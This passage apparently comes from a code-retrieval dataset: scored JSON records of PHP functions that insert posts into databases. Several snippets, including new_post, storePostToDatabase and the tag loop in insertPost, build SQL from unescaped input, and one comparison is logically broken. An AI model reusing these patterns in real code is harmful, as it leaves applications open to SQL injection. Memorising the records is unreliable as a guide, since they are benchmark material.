{\n\t\t$_POST['user_id'] = $this->user->user_id;\n\t\t\n\t\t# Create created and modified timestamps\n\t\t$_POST['created'] = Time::now();\n\t\t$_POST['modified'] = Time::now();\n\t\t\n\t\t# Insert (no sanitization needed with this function\n\t\tDB::instance(DB_NAME)->insert('posts', $_POST);\n\t\tRouter::redirect(\"/posts/confirm\");\n\t}", "title": "" }, { "docid": "58724e3b9b13eaf591cfa6a7a5937236", "score": "0.72576874", "text": "public function storePost(Post $post);", "title": "" }, { "docid": "c27b8d5445ca01ea3aa4d1abe7cce35e", "score": "0.71685964", "text": "public function addPost($data);", "title": "" }, { "docid": "8cfc19606993b11d94b2c762db50064a", "score": "0.7155839", "text": "public function p_add() {\n\t\t$_POST['user_id'] = $this->user->user_id;\n\t\t\n\t\t#Unix timestamp of when this post was created/modified\n\t\t$_POST['created'] = Time::now();\n\t\t$_POST['modified'] = Time::now();\n\t\t\n\t\t#Insert\n\t\t#Note we didn't have to sanitize any of the $_POST data because we're using the insert method which does it for us\n\t\tDB::instance(DB_NAME)->insert('posts', $_POST);\n\t\t\n\t\t#refreshes the user's profile\n\t\tRouter::redirect(\"/users/profile\");\n\t\t\t\n\t}", "title": "" }, { "docid": "c25f34bcd9adb53b3bb75d2a7f9f18c8", "score": "0.7128538", "text": "function insertPost($validPost)\n {\n\n $DB = $this->DB;\n if (!($stmt = $DB->prepare(\"INSERT INTO goellhorndb.post(Bildadresse,Bildname,Titel,Inhalt,Sichtbarkeit,FK_UserID) VALUES (?,?,?,?,?,?)\"))) {\n echo \"Prepare failed: (\" . $DB->errno . \") \" . $DB->error;\n }\n\n if (!$stmt->bind_param(\"ssssii\", $validPost->Bildadresse, $validPost->Bildname, $validPost->Titel, $validPost->Inhalt, $validPost->Sichtbarkeit, $validPost->UserID)) {\n echo \"Binding params failed: (\" . $stmt->errno . \") \" . $stmt->error;\n }\n\n\n if (!$stmt->execute()) {\n echo \"Execute failed: (\" . $stmt->errno . \") \" . $stmt->error;\n }\n //wir mussten um die Foreign Key Beziehung zwischen dem eingefügten Post und den jeweiligen Tags darzustellen die ID des neuen Posts herausfinden\n $insertID = $stmt->insert_id;\n foreach ($validPost->SelectedTags as $tag) {\n $stmt = \"INSERT INTO post_tags (PostID,TagID) VALUES ($insertID,$tag[1])\";\n\n if (!$DB->query($stmt)) {\n echo $DB->error;\n }\n }\n }", "title": "" }, { "docid": "304723ac7836eec11952d1ea2b70045d", "score": "0.71278155", "text": "function new_post($post) {\n\t\t$this->modifiednow();\n\t\t$now = time();\n\t\t$section = '';\n\t\tif (sizeof($post->sections)>0) {\n\t\t\t$sections = implode(\":\", $post->sections);\n\t\t\t// We add an extra \":\" at the begging and end\n\t\t\t// of this string to ensure that we can locate\n\t\t\t// the sections properly.\n\t\t\t$section_q = \" sections =':$sections:', \";\n\t\t}\n\t\tif (!isset($post->ownerid)) {\n\t\t\t$post->ownerid = $_SESSION['user_id'];\n\t\t}\n\n\t\tif ($post->hidefromhome == 'hide')\n\t\t\t$hidefromhome_q = \" hidefromhome='1', \";\n\t\telse $hidefromhome_q = \" hidefromhome='0', \";\n\n\t\tif ($post->allowcomments == ('allow' or 'disallow' or 'timed'))\n\t\t\t$allowcomments_q = \" allowcomments='{$post->allowcomments}', \";\n\n\t\tif (is_numeric($post->autodisabledate))\n\t\t\t$autodisable_q = \" autodisabledate='{$post->autodisabledate}', \";\n\n\t\t$q_insert = \"INSERT INTO \".T_POSTS.\" SET\n\t\t\ttitle\t\t='$post->title',\n\t\t\tbody\t\t='$post->body',\n posttime ='$now',\n modifytime ='$now',\n status ='$post->status',\n $section_q\n\t $hidefromhome_q\n\t $allowcomments_q\n\t $autodisable_q\n modifier\t='$post->modifier',\n ownerid ='$post->ownerid'\n \";\n\n\t\t$this->query($q_insert);\n\t\t$postid = $this->insert_id;\n\t\tif ($postid > 0) return $postid;\n\t\telse return false;\n\n\t}", "title": "" }, { "docid": "d79744f0cccb4f8e66c6fd62c418ba30", "score": "0.70932776", "text": "public function create($post)\n {\n return parent::insert($post);\n }", "title": "" }, { "docid": "92391f438c27564ead7eea42c87abed1", "score": "0.70603395", "text": "public function post() {\n $this->post = $this->safe_find_from_id('Post');\n }", "title": "" }, { "docid": "237e07dbe3bfb9d91b53858d3bc1c065", "score": "0.70441663", "text": "public function add() {\n \tif ( $this->request->is( 'post' ) ) {\n \t\t$this->request->data['Post']['user_id'] = $this->Auth->user( 'id' );\n \t\t$this->Post->create();\n \t\tif ( $this->Post->save( $this->request->data ) ) {\n \t\t\t$this->log( \"Post saved succesfully\" );\n \t\t\t$this->Session->setFlash( 'Your post has been saved.' );\n \t\t\t$this->redirect( array( 'action' => 'index' ) );\n \t\t} else {\n \t\t\t$this->log( \"Post could not be saved\" );\n \t\t\t$this->Session->setFlash( 'Unable to add your post.' );\n \t\t}\n \t}\n }", "title": "" }, { "docid": "03a90c81201f8349b9f9d1ee7888ea13", "score": "0.6965171", "text": "public function addPost() {\n\n\t\tif (!empty($_POST['postTitle']) && !empty($_POST['postContent'])) {\n\n\t\t\t$query = $this->db->prepare('INSERT INTO posts(title, content, excerpt, author_id,category_id, publish_date, status) VALUE (:postTitle, :postContent, :postExcerpt,:postAuthorId,:postCategory, :postDate, :status)');\n\n\t\t\t$result = $query->execute([\n\t\t\t\t':postTitle' => filter_input(INPUT_POST, 'postTitle'),\n\t\t\t\t':postContent' => filter_input(INPUT_POST, 'postContent'),\n\t\t\t\t':postExcerpt' => trim(substr(rtrim(filter_input(INPUT_POST, 'postContent'), '</p>'), 0, 500)) . \"...</p>\",\n\t\t\t\t':postAuthorId' => $_SESSION['id'],\n ':postCategory' => $_POST['postCategory'],\n\t\t\t\t':postDate' => date('Y-m-d'),\n\t\t\t\t':status' => (int) $_POST['postVisibility'],\n\t\t\t]);\n\n\t\t\t$insertedPostId = $this->db->lastInsertId();\n\t\t\t\n\t\t\tif(!empty($_POST['postTags'])) { \n\t\t\t\t$tags = $this->tag->parseTags();\n\t\t\t\t$this->tag->addTags();\n\t\t\t\t$this->tag->addTaxonomy($insertedPostId);\n\t\t\t}\n\n\t\t\treturn $result;\n\t\t}\n\n\t\treturn false;\n\n\t}", "title": "" }, { "docid": "a0bff2ef7d8a824ef6b6f0d2e2a7f764", "score": "0.6959429", "text": "function create_post(){\r\n $query = \"INSERT INTO\r\n \" . $this->table. \"\r\n SET\r\n post_title=:post_title,\r\n sub_post=:sub_post, \r\n created_by=:created_by,\r\n assigned_to=:assigned_to,\r\n created_time=:created_time\";\r\n // prepare query\r\n $stmt = $this->conn->prepare($query);\r\n \r\n // sanitize\r\n $this->post_title=htmlspecialchars(strip_tags($this->post_title));\r\n $this->sub_post=htmlspecialchars(strip_tags($this->sub_post));\r\n $this->created_by=htmlspecialchars(strip_tags($this->created_by));\r\n $this->assigned_to=htmlspecialchars(strip_tags($this->assigned_to));\r\n $this->created_time=htmlspecialchars(strip_tags($this->created_time));\r\n \r\n // bind values\r\n $stmt->bindParam(\":post_title\", $this->post_title);\r\n $stmt->bindParam(\":sub_post\", $this->sub_post);\r\n $stmt->bindParam(\":created_by\", $this->created_by);\r\n \t$stmt->bindParam(\":assigned_to\", $this->assigned_to);\r\n \t$stmt->bindParam(\":created_time\", $this->created_time);\r\n // execute query\r\n if($stmt->execute()){\r\n return true;\r\n }\r\n return false; \r\n }", "title": "" }, { "docid": "e00ad7ffead6d90a785f62979d1b6c46", "score": "0.69265825", "text": "public function insert_post(){\n\t\t$this->load->model('User');\n\t\t$data= $this->input->post(NULL ,true);\n\t\t$this->User->insert_post($data);\n\t\t$submit = $this->input->post('my_submit' ,true);\n\t\tif ($submit == \"post\") {\n\t\t\tredirect(\"/Activity/my_stories\");\n\t\t}else{\n\t\t redirect(\"/Activity/stories\");\n\t\t}\n\t}", "title": "" }, { "docid": "15b14205443da9bc0b170edeaca2902d", "score": "0.69252044", "text": "function wp_insert_post($postarr = array()) {\n\tglobal $wpdb, $post_default_category;\n\n\t// export array as variables\n\textract($postarr);\n\n\t// Do some escapes for safety\n\t$post_title = $wpdb->escape($post_title);\n\t$post_name = sanitize_title($post_title);\n\t$post_excerpt = $wpdb->escape($post_excerpt);\n\t$post_content = $wpdb->escape($post_content);\n\t$post_author = (int) $post_author;\n\n\t// Make sure we set a valid category\n\tif (0 == count($post_category) || !is_array($post_category)) {\n\t\t$post_category = array($post_default_category);\n\t}\n\n\t$post_cat = $post_category[0];\n\n\tif (empty($post_date))\n\t\t$post_date = current_time('mysql');\n\t// Make sure we have a good gmt date:\n\tif (empty($post_date_gmt))\n\t\t$post_date_gmt = get_gmt_from_date($post_date);\n\tif (empty($comment_status))\n\t\t$comment_status = get_settings('default_comment_status');\n\tif (empty($ping_status))\n\t\t$ping_status = get_settings('default_ping_status');\n\n\t$sql = \"INSERT INTO $wpdb->posts\n\t\t(post_author, post_date, post_date_gmt, post_modified, post_modified_gmt, post_content, post_title, post_excerpt, post_category, post_status, post_name, comment_status, ping_status)\n\t\tVALUES ('$post_author', '$post_date', '$post_date_gmt', '$post_date', '$post_date_gmt', '$post_content', '$post_title', '$post_excerpt', '$post_cat', '$post_status', '$post_name', '$comment_status', '$ping_status')\";\n\n\t$result = $wpdb->query($sql);\n\t$post_ID = $wpdb->insert_id;\n\n\t// Set GUID\n\t$wpdb->query(\"UPDATE $wpdb->posts SET guid = '\" . get_permalink($post_ID) . \"' WHERE ID = '$post_ID'\");\n\n\twp_set_post_cats('', $post_ID, $post_category);\n\n\tif ($post_status == 'publish') {\n\t\tdo_action('publish_post', $post_ID);\n\t}\n\n\tpingback($content, $post_ID);\n\n\t// Return insert_id if we got a good result, otherwise return zero.\n\treturn $result ? $post_ID : 0;\n}", "title": "" }, { "docid": "0aacb0d02817ed21dd7d414de0f2e997", "score": "0.68883264", "text": "public function save()\n {\n if ($this->id) {\n $sql = \"UPDATE posts SET title = :title, content = :conten WHERE id = :id\";\n $statement = $this->db->prepare($sql);\n $statement->bindParam(\"title\", $this->title);\n $statement->bindParam(\"content\", $this->content);\n $statement->execute();\n }\n else {\n $sql = \"INSERT INTO posts (title, content) VALUES (:title, :content)\";\n $statement = $this->db->prepare($sql);\n $statement->bindParam(\"title\", $this->title);\n $statement->bindParam(\"content\", $this->content);\n $statement->execute();\n\n $this->id = $this->db->lastInsertId();\n }\n }", "title": "" }, { "docid": "b6fa8f59a2e079a9c3e5ad639dc33cce", "score": "0.6871437", "text": "public function createPost(Post $post){\n $req = $this->db->prepare('INSERT INTO posts(title, post_date, content, user_id) \n VALUES(?, NOW(), ?,?)');\n $createdPost=$req->execute(array($post->getTitle(),$post->getContent(),\n $post->getUser_id()));\n return $createdPost;\n }", "title": "" }, { "docid": "b13d084af947eb365457f14e7cc2fd8e", "score": "0.6864021", "text": "public function p_add() {\n $_POST['user_id'] = $this->user->user_id;\n\n # Unix timestamp of when this post was created / modified\n $_POST['created'] = Time::now();\n $_POST['modified'] = Time::now();\n\t\t\n\t\tunset($_POST['submit']);\n\n # Insert\n\t\t$record_id = DB::instance(DB_NAME)->insert('719B', $_POST);\n\n # Redirect to second page\n Router::redirect('/posts/add2/'.$record_id);\n\n \t}", "title": "" }, { "docid": "d613b7cbdc177cb531dd0a442f995902", "score": "0.68528986", "text": "function storePostToDatabase($post)\n {\n\n $id = $post->get_id();\n $title = $post->get_title();\n $content = $post->get_content();\n $date = $post->get_date();\n $imageURL = $post->get_imageURL();\n\n $sql = \"INSERT INTO posts VALUES ('\" . $id . \"','\" . $title . \"','\" . $content . \"','\" . $date . \"','\" . $imageURL . \"')\";\n\n if ($result = $this->connect()->query($sql)) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "abbd79e2792c563107f2ef5ac2ada8f7", "score": "0.68497187", "text": "function AddPost()\n{\n\tglobal $pdo;\n\t\tignore_user_abort(true);\n\t\tset_time_limit(0);\n\n\t\tob_start();\n\t\t\t// Save post first\n\t\t\t$post = $_POST['post'];\n\t\t\t\n\t\t\t$postFromId\t\t= \t$post['postFromId'];\n\t\t\t$postAuthorId\t= \t$post['postAuthorId'];\n\t\t\t$postMessage\t= \t$post['postMessage'];\n\t\t\t$postType\t\t= \t$post['postType'];\n\t\t\t$postSelection\t= \t$post['postSelection'];\t\t\t\n\t\t\t$postMedia\t\t= \t$post['postMedia'];\n\t\t\t$postMediaType = \t$post['postMediaType'];\n\t\t\t$postContext\t= \t$post['postContext'];\n\t\t\t\n\t\t\t$stmt = $pdo->prepare(\"INSERT INTO posts (postFromId, postAuthorId, postMessage, postType, postSelection, postMedia, postMediaType, postContext) VALUES(:postFromId, :postAuthorId, :postMessage, :postType, :postSelection,:postMedia,:postMediaType ,:postContext)\"); \n\t\t\t$stmt->execute(array(':postFromId'=>$postFromId,':postAuthorId'=>$postAuthorId, ':postMessage'=>$postMessage, ':postType'=>$postType, ':postSelection'=>$postSelection, ':postMedia'=>$postMedia, ':postMediaType'=>$postMediaType,':postContext'=>$postContext));\n\t\t\t//$addPostQuery = mysql_query(\"INSERT INTO posts (postFromId, postAuthorId, postMessage, postType, postSelection, postMedia, postMediaType, postContext) VALUES('\".$postFromId.\"', '\".$postAuthorId.\"', '\".$postMessage.\"','\".$postType.\"','\".$postSelection.\"','\".$postMedia.\"','\".$postMediaType.\"','\".$postContext.\"')\"); \n\t\t\t//$postID = mysql_insert_id();\n\t\t\t$postID = $pdo->lastInsertId();\n\t\t\t\n\t\t\t$res = json_encode($postID);\n\t\t\techo $res;\n\t\t\theader('Connection: close');\n\t\t\theader('Content-Length: '.ob_get_length());\n\t\t\tob_end_flush();\n\t\t\tob_flush();\n\t\t\tflush();\n\t\t\t\n\t\t\t// Then save the post id to the discussion\n\t\t\t$currentDiscussion = $_POST['currentDiscussion'];\n\t\t\t$addPost = $pdo->prepare(\"INSERT INTO discussionPosts (discussionID, postID) VALUES(:discID, :postID)\"); \n\t\t\t$addPost->execute(array(':discID'=>$currentDiscussion, ':postID'=>$postID));\n\t\t\t\n\t\t\t//check notifications\n\t\t\t//need postFrom, postType, postAuthor\n\t\t\t$author = $pdo->prepare(\"SELECT postAuthorId FROM posts WHERE postID = :postFromId\");\n\t\t\t$author->execute(array(':postFromId'=>$postFromId));\n\t\t\t$fromAuthor = $author->fetch();\n\t\t\t$fromAuthor = $fromAuthor['postAuthorId'];\n\n\t\t\t$options = $pdo->prepare(\"SELECT * FROM options WHERE optionsType = 'user' AND optionsTypeID = :fromAuthor AND optionsName = :notifyOn\");\t\t\t\n\t\t\t$options->execute(array(':fromAuthor'=>$fromAuthor, ':notifyOn'=>\"notify_on_$postType\"));\n\t\t\t$linkInfo = $pdo->prepare(\"SELECT courseDiscussions.discussionID, courseDiscussions.courseID FROM discussionPosts INNER JOIN courseDiscussions on discussionPosts.discussionID = courseDiscussions.discussionID WHERE discussionPosts.discussionID in (SELECT discussionID FROM discussionPosts WHERE postID = :postID) LIMIT 1\");\t\t\n\t\t\t$userFrom = $pdo->prepare(\"SELECT username, firstName FROM users WHERE userID = :postAuthorId\");\t\t\n\t\t\t$fromInfo = $pdo->prepare(\"SELECT username, firstName FROM users WHERE userID = :fromAuthor\");\n\t\t\twhile($row = $options->fetch()){\n\t\t\t\tif($row['optionsValue']){\n\t\t\t\t\t$act = \"\";\n\t\t\t\t\t$generic = \" a post\";\n\t\t\t\t\tswitch($postType){\n\t\t\t\t\t\tcase 'comment':\n\t\t\t\t\t\t\t$act = \"commented on\".$generic;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'agree':\n\t\t\t\t\t\t\t$act = \"agreed with\".$generic;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'disagree':\n\t\t\t\t\t\t\t$act = \"disagreed with\".$generic;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'clarify':\n\t\t\t\t\t\t\t$act = \"asked you to clarify\".$generic;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'offTopic':\n\t\t\t\t\t\t\t$act = \"marked \".$generic.\" as off topic\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t$truncated = myTruncate($postMessage, 100, $break = \" \", $pad = \"...\"); \n\t\t\t\t\t$link= \"\";\n\t\t\t\t\tif(isset($_SERVER[\"HTTP_HOST\"])){\n\t\t\t\t\t\t$host = $_SERVER[\"HTTP_HOST\"];\n\t\t\t\t\t\t$path = '/discussion.php';\n\t\t\t\t\t\t$query = \"?\";\n\t\t\t\t\t\t$linkInfo->execute(array(':postID'=>$postID));\n\t\t\t\t\t\t//$d = mysql_query(\"SELECT courseDiscussions.discussionID, courseDiscussions.courseID FROM discussionPosts INNER JOIN courseDiscussions on discussionPosts.discussionID = courseDiscussions.discussionID WHERE discussionPosts.discussionID in (SELECT discussionID FROM discussionPosts WHERE postID = $postID) LIMIT 1\");\n\t\t\t\t\t\t//$info = mysql_fetch_assoc($d);\n\t\t\t\t\t\t$info = $linkInfo->fetch();\n\t\t\t\t\t\t$dID = $info['discussionID'];\n\t\t\t\t\t\t$cID = $info['courseID'];\n\t\t\t\t\t\t$query.=\"d=$dID&c=$cID&p=$postID\";\n\t\t\t\t\t\t$link = 'http://'.$host.$path.$query;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$userFrom->execute(array(':postAuthorId'=>$postAuthorId));\n\t\t\t\t\t$uFrom = $userFrom->fetch();\n\t\t\t\t\t$from = $uFrom['firstName'];\n\t\t\t\t\t$fromUsername = $uFrom['username'];\n\t\t\t\t\t\n\t\t\t\t\t$fromInfo->execute(array(':fromAuthor'=>$fromAuthor));\n\t\t\t\t\t$user = $fromInfo->fetch();\n\t\t\t\t\t$email = $user['username'];\n\t\t\t\t\t$name = $user['firstName'];\n\n\t\t\t\t\trequire_once '../mail/class.phpmailer.php';\n\t\t\t\t\trequire_once '../mail/mail_init.php';\n\t\t\t\t\t$mail = new PHPMailer();\n\t\t\t\t\t$mail = mail_init($mail);\n\t\t\t\t\t//micro-templating\n\t\t\t\t\t$body = file_get_contents('../mail/templates/notify.html');\n\t\t\t\t\t$head = \"Hi $name, <br /> $from($fromUsername) $act in one of your discussions:\";\n\t\t\t\t\t$body = str_replace('%head%',$head,$body);\n\t\t\t\t\t$body = str_replace('%msg%', $truncated, $body);\n\t\t\t\t\t$body = str_replace('%link%', $link, $body);\n\t\t\t\t\t$mail->MsgHTML($body);\n\t\t\t\t\t$mail->Subject = 'Notification from dscourse.org';\n\t\t\t\t\t$mail->AddAddress($email, $name);\n\t\t\t\t\t\n\t\t\t\t\tif(!$mail->Send()){\n\t\t\t\t\t\techo $mail->ErrorInfo;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n}", "title": "" }, { "docid": "f5b61fe96818e2bc108c950fc4fe5e13", "score": "0.68453735", "text": "function recmnd_api_insert($post) {\n\trecmnd_log(\"api insert({$post->ID})\");\n\tglobal $recmnd_api_host, $recmnd_api_key, $recmnd_api_secret, $recmnd_created;\n\tif (!($recmnd_api_key && $recmnd_api_secret && $recmnd_api_host)) {\n\t\t// not configured\n\t\treturn;\n\t}\n\n\t$userdata = get_userdata($post->post_author);\n\t$categories = array();\n\tforeach ((get_the_category($post->ID)) as $category){\n\t\t$categories[] = $category->cat_name;\n\t}\n\t$category_list = count($categories)?implode($categories,', '):'';\n\n\t$content = $post->post_content;\n\t$content = recmnd_apply_filters('the_content', $content);\n\t$content = str_replace(']]>', ']]&gt;', $content);\n\n\t$excerpt = $post->post_excerpt;\n\t$excerpt = recmnd_apply_filters('the_excerpt', $excerpt);\n\t$excerpt = str_replace(']]>', ']]&gt;', $excerpt);\n\n\t$request = array (\n\t\t'api_key' => $recmnd_api_key,\n\t\t'category' => $category_list,\n\t\t'postedBy' => $userdata->user_login,\n\t\t'dateposted' => date('d/m/Y H:i:s', strtotime($post->post_date)),\n\t\t'dateparsed' => date('d/m/Y H:i:s', strtotime($post->post_date)),\n\t\t'title' => $post->post_title,\n\t\t'description' => $excerpt,\n\t\t'body' => $content,\n\t\t'url' => get_permalink($post->ID),\n\t\t'item_type' => 'blogpost'\n\t);\n\t$result = recmnd_http_post($recmnd_api_host,'/api/record/create/', $request);\n\tif (in_array($result['status'], array(200, 201))) {\n\t\tupdate_post_meta($post->ID, 'recmnd_status', 1);\n\t\trecmnd_log(\"set recmnd status: 1\");\n\t} else {\n\t\trecmnd_log(\"failed, recmnd status not changed: got {$result['status']}\");\n\t}\n\treturn $result;\n}", "title": "" }, { "docid": "2dc49259d032eaa7081894193a1e17ea", "score": "0.6840486", "text": "public function insert ( $postId, $post ) {\n\n\t\t\\Maven\\Loggers\\Logger::log()->message( '\\MavenBooks\\Admin\\Wp\\BookController: insert' );\n\n\t\t$this->saveBook( $post );\n\t}", "title": "" }, { "docid": "d77cd2be93099a46fb7f49c14240a5a4", "score": "0.6836578", "text": "public function posts_post()\n\t{\n\t\t// Input data validation\n\t\t$this->validate_input();\n\n\t\t$this->load->model( 'posts_model' );\n\t\t$this->posts_model->user_id = Rbac::$user->user_id;\n\t\t$this->posts_model->content = $this->post( 'content' );\n\t\t$post_id = $this->posts_model->create( true );\n\t\t\n\t\tif ( $post_id )\n\t\t{\n\t\t\t$this->response([\n\t\t\t\t'status' => true,\n\t\t\t\t'message' => 'Post is published'\n\t\t\t], MY_Controller::HTTP_OK);\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$this->platform_error();\n\t\t}\n\t}", "title": "" }, { "docid": "2a71b08d54206d9d5c6a2dee64014fce", "score": "0.6825854", "text": "public function insert(Blogpost $post) {\n $data = $post->toArray();\n $id = parent::_create($this->_table, $data);\n return $this->lastInsertId();\n }", "title": "" }, { "docid": "29ccee82570011ac6c57ecb66e5110e7", "score": "0.68192524", "text": "public function executeInsert()\n {\n // We verify that the user has the necessary rights\n if ($this->user->getRole() == 'Administrator') {\n // Initializing the parameters to return to the view\n $this->setParams([\n 'author_id' => $this->user->getUserId(),\n 'author' => $this->user->getPseudo()\n ]);\n\n // Recovery of the manager Post\n $this->setManager('Post');\n $manager = $this->getManager();\n\n //Retrieving the class that validates the token\n $token = $this->container->get('Token');\n\n // If variables exist in the post method\n if (!empty($_POST)) {\n // We're checking the validity of the token.\n if ($token->isTokenValid($_POST['token'])) {\n //Retrieving the class that validates the data sent\n $Validator = $this->container->get('Validator');\n $Validator->required('status', 'text');\n $Validator->required('title', 'text');\n $Validator->check('post', 'text');\n\n // Creating a parameter table\n // 1. For sending in DB\n // 2. For viewing the view\n $params = \\array_merge(\n $Validator->getParams(),\n [\n 'author' => $this->user->getUserId(),\n 'creationDate' => date('Y-m-d'),\n 'modificationDate' => date('Y-m-d')\n ]\n );\n $post = new Post($params);\n\n /*\n * If the validator does not return an error,\n * else adding error flash message\n */\n if (!$Validator->hasError()) {\n // And insert new post in DB\n $lastId = $manager->insertPost($post);\n\n // Adding a flash message if successful or unsuccessful\n if ($lastId) {\n $this->flash->addFlash('success', 'Nouvel article enregistré.');\n // If there is a file to upload\n if ($_FILES['upload']['size']) {\n $this->uploadFile($lastId);\n }\n } else {\n $this->flash->addFlash('danger', 'Une erreur est survenu lors de l\\'enregistrement.');\n }\n\n // redirection to the admin page\n $reponse = $this->container->get('HTTPResponse');\n $reponse->setStatus(301);\n $reponse->redirection('/admin');\n } else {\n // adding error flash message\n foreach ($Validator->getError() as $key => $value) {\n $this->flash->addFlash('danger', $value);\n }\n }\n } else {\n $this->flash->addFlash('danger', 'Une erreur est survenu lors de l\\'enregistrement.');\n }\n // Adding flash message and parameters to return by the view\n $this->setParams($this->flash->getFlash());\n $this->setParams($params);\n }\n //Retrieving the class that validates the token\n $token = $token->getToken();\n // Adding token to the parameters to return by the view\n $this->setParams(['token' => $token]);\n\n // Adding flash message and parameters to return by the view\n $this->setParams($this->flash->getFlash());\n\n // Name of the view to return\n $this->setView('adminpost');\n // View recovery and display\n $this->getView();\n $this->send();\n }\n }", "title": "" }, { "docid": "23192bcd8f55008c6e692dae331cc4fe", "score": "0.6809469", "text": "public function addPost($tbl, $dataInsert = []){\r\n\t\t// var_dump($dataInsert);\r\n\t\t$title = $dataInsert['title'];\r\n\t\t$content = $dataInsert['content'];\r\n\t\t$type = $dataInsert['type'];\r\n\t\t$auth = $dataInsert['auth'] ;\r\n\r\n\t\t$shortCont = \"\";\r\n\t\t$category = \"\";\r\n\t\t$imgFeat = \"\";\r\n\t\tif ($type == \"post\") {\r\n\t\t\t$shortCont = $dataInsert['shortCont'];\r\n\t\t\t$category = $dataInsert['category'];\r\n\t\t\t$imgFeat = $dataInsert['imgFeat'];\r\n\t\t\t$auth = $dataInsert['auth'];\r\n\t\t}\r\n\t\tif ($dataInsert['title'] == '') {\r\n\t\t\t$result = \"failed\";\r\n\t\t} else {\r\n\t\t\t$insert = $tbl->create([\r\n\t\t\t\t'title' => $title,\r\n\t\t\t\t'img_featured' => $imgFeat,\r\n\t\t\t\t'content' => $content,\r\n\t\t\t\t'short_content' => $shortCont,\r\n\t\t\t\t'type' => $type,\r\n\t\t\t\t'cat' => $category,\r\n\t\t\t\t'auth' => $auth\r\n\t\t\t]);\r\n\t\t\tif ($insert) {\r\n\t\t\t\t$result = \"success\";\r\n\t\t\t} else {\r\n\t\t\t\t$result = \"failed\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo $result; \r\n\t}", "title": "" }, { "docid": "e28668fee4afe616591324beade2c0a1", "score": "0.6791874", "text": "function sync_post( $post ) {\n\t$post = get_post( $post );\n\tJetpack_Sync_Modules::get_module( 'posts' )->wp_insert_post( $post->ID, $post );\n}", "title": "" }, { "docid": "6dd8441741eb619a450f717f4622c4e9", "score": "0.67903924", "text": "function addPost($postName, $postTitle, $postMessage, $postDate) {\n $query = \"INSERT into Post(postName, postTitle, postMessage, postCreated) VALUES (?, ?, ?, ?)\";\n DB::insert($query,array($postName, $postTitle, $postMessage, $postDate));\n $postId = DB::getPdo()->lastInsertId();\n return $postId;\n}", "title": "" }, { "docid": "be3478e010e1e2ced9727b0b50375cf3", "score": "0.6789551", "text": "public function addPost(Post $post)\n {\n $db = $this->dbConnect();\n $query = $db->prepare('INSERT INTO post SET title = :title, \n introduction = :introduction,\n content = :content,\n dateCreate = :dateCreate,\n dateChange = :dateChange,\n user_id = :user_id');\n $result = $query->execute([\n 'title' => $post->getTitle(),\n 'introduction' => $post->getIntroduction(),\n 'content' => $post->getContent(),\n 'dateCreate' => $post->getDateCreate()->format('Y-m-d H:i:s'),\n 'dateChange' => $post->getDateChange()->format('Y-m-d H:i:s'),\n 'user_id' => $post->getUser_id()\n ]);\n\n if ($result === true) {\n return $db->lastInsertId();\n } else {\n throw new Exception('impossible d\\'enregistrer le post en base de donnee');\n }\n }", "title": "" }, { "docid": "96b99fc70fb69dc58f938b072d268776", "score": "0.67669594", "text": "function Insert($post)\n\t{\n\t \n\t\tglobal $db;\n\t\t$sql = \t\"INSERT INTO \". PAGE_MASTER. \" (page_title, page_content) \"\n\t\t\t.\t\" VALUES ( \"\n\t\t\t. \t\" '\". mysql_real_escape_string($post['page_title']).\"', \" \n\t\t\t. \t\" '\". mysql_real_escape_string($post['en_page_content']).\"' \" \n\t\t\t.\t\" )\"; \n\n\t\t$db->query($sql);\n\t\treturn $db->sql_inserted_id();\n\t}", "title": "" }, { "docid": "1a86dcabfcdbb2c8981d5e163370d560", "score": "0.67579114", "text": "public function create(Post $post)\n {\n //\n }", "title": "" }, { "docid": "8699f17d6d359a82885661e8dfc1db98", "score": "0.6748308", "text": "public function Insert($post)\n\t{\n\t\t$post['sort'] = parent::last_sort_val(array('parent_id' => $post['parent_id']));\n\n\t\treturn parent::Insert($post);\n\t}", "title": "" }, { "docid": "13c20f1d1aa39aff6e39c0d2dcc6c441", "score": "0.6734965", "text": "public static function add() {\n $db = Db::getInstance();\n $req = $db->prepare(\"Insert into post_table(blogID, categoryID, title, publishedAt, content, postImage) values (:blogID, :categoryID, :title, :publishedAt, :content, :postImage)\");\n $req->bindParam(':blogID', $blogID);\n $req->bindParam(':categoryID', $categoryID);\n $req->bindParam(':title', $title);\n $req->bindParam(':publishedAt', $publishedAt);\n $req->bindParam(':content', $content);\n $req->bindParam(':postImage', $postImage);\n\n// set parameters and execute\n if (isset($_POST['title']) && $_POST['title'] != \"\") {\n $filteredTitle = filter_input(INPUT_POST, 'title', FILTER_SANITIZE_SPECIAL_CHARS);\n }\n if (isset($_POST['content']) && $_POST['content'] != \"\") {\n $filteredContent = filter_input(INPUT_POST, 'content', FILTER_SANITIZE_SPECIAL_CHARS);\n }\n\n if (isset($_POST['categoryID']) && $_POST['categoryID'] != \"\") {\n $filteredcategoryID = filter_input(INPUT_POST, 'categoryID', FILTER_SANITIZE_SPECIAL_CHARS);\n }\n if (isset($_SESSION['blogID'])) {\n $blogID = $_SESSION['blogID'];}\n $categoryID = $filteredcategoryID;\n $title = $filteredTitle;\n $publishedAt = date(\"y-m-d H:i:s\");\n $content = $filteredContent;\n $req->execute();\n\n //to enable a 'published at' date and time\n $lastid = $db->lastInsertId();\n $postString = 'postNo' . $lastid;\n //need to change date(...) to do date and time so we can get rid of query below\n //$req = $db->query(\"UPDATE post_table SET publishedAt = now() WHERE postID=$lastid\");\n\n//upload post image to images directory and store filename in database\n $postImage = blogPost::uploadFile($postString);\n $req = $db->prepare(\"UPDATE post_table SET postImage = :postImage WHERE postID=$lastid\"); \n $req->bindParam(':postImage', $postImage);\n $req->execute();\n}", "title": "" }, { "docid": "4f547849d5131c0184730601f4bb7666", "score": "0.6732405", "text": "public function addPost()\n {\n $this->isAdmin();\n if($_POST)\n {\n $post = $this->token->check($_POST);\n\n $formMessage = $this->postsValidationForm->checkForm($post);\n\n if(!$formMessage)\n {\n $this->posts->add($post);\n header('Location: 